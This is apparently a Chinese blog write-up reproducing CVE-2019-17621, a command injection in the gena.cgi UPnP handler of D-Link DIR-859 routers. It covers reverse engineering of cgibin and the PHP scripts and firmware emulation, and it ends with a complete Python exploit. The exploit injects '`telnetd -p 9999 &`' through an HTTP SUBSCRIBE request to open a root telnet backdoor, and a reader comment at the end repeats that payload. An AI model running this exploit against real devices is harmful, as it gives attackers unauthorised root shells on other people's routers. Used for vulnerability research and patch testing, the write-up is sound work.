前言
这个命令注入漏洞跟之前的有点不太一样
简介
CVE-2019-17621 dlink-822/855 命令注入漏洞
存在于D-Link DIR-859 1.05和1.06B01款路由器,gena.cgi存在命令注入漏洞,导致攻击者可以通过HTTP SUBSCRIBE方法请求访问UPnP服务进行远程命令注入得到root Shell
固件下载+解包
逆向分析
寻找gena关键词出自于哪里,有一个二进制文件cgibin包含了该字样,
符号表完整,查看cgibin的main函数,发现有个genamain
跟进genacgi_main()看看,居然有传递了个.sh文件名的web请求?
request是格式化字符串,内含METHOD、SUBSCRIBE、INF_UID、SERVICE、SID、TIMEOUT、SHELL_FILE,以及请求的php,送往xmldbc_ephp进行处理
对xmldbc_ephp逆向工程如下,其主要函数sub_41424C的作用是,通过UNIX套接字与一个XML数据库守护进程进行通信,
前文提到,提交了一个.sh文件,跟进/htdocs/upnp/run.NOTIFY.php看看有没有机会代码执行,重点关注SHELL_FILE
没东西,但发现include了gena.php,
所以跟进gena.php,重点关注GENA_subscribe_new的参数,
再跟进GENA_notify_init,其参数$shell_file, $target_php, $inf_uid都仍然受到用户的控制
$shell_file被用于指导.sh文件名称的建立,$target_php、 $inf_uid则被写入到文件里面
在执行流程过后,紧接着这个文件后面又会被删除,但是问题就恰恰出在fwrite后面执行的删除上,看起来写入的删除语句是在流程结束后立刻被执行的,所以这里存在比较特别的命令执行拼接,$shell_file直接被拼接到rm命令之后,会被命令注入
当然其它两个参数由于写在了被执行的脚本,理论上也可以注入命令,
回看二进制文件的这个函数,
看看上游是否可控
可以看到,传入需要请求的内容以后,完完全全没有被更改内容,就被发送给php了
再看看上游
看起来$shell_file、$target_php、 $inf_uid三个可用于命令执行的参数,
$shell_file、 $inf_uid是可控的
固件仿真
失败
跟从
看起来ioctl fail、hostapd这两个并不致命
补充一个/dev/gpio文件试试
但还是有那个报错,所以在shell里
echo 1 >/dev/gpio
于是干掉了这个报错,就可以访问了
复现
EXP:
import socket
import os
from time import sleep
# Exploit By Miguel Mendez & Pablo Pollanco
def httpSUB(server, port, shell_file):
print('\n[*] Connection {host}:{port}'.format(host=server, port=port))
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
request += "Host: " + str(server) + str(port) + "\n"
request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
request += "NT: upnp:event\n"
request += "Timeout: Second-1800\n"
request += "Accept-Encoding: gzip, deflate\n"
request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
sleep(1)
print('[*] Sending Payload')
con.connect((socket.gethostbyname(server),port))
con.send(str(request))
results = con.recv(4096)
sleep(1)
print('[*] Running Telnetd Service')
sleep(1)
print('[*] Opening Telnet Connection\n')
sleep(2)
os.system('telnet ' + str(server) + ' 9999')
serverInput = '192.168.0.1'
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
复现成功
总结
这个漏洞之所以会被发现,需要知晓整个数据流,耐心地去推测和尝试
而且结合某些琐碎的字段联想出可能存在漏洞的功能,还是需要加强这方面的能力(如从rm -rf字符串拼接联想到命令执行)
您好,想问问您知道最终执行shell脚本是在哪吗
您是问httpSUB(server, port, shell_file)的shell_file吗,这里只需指定为`telnetd -p 9999 &`开了个telnet后门就好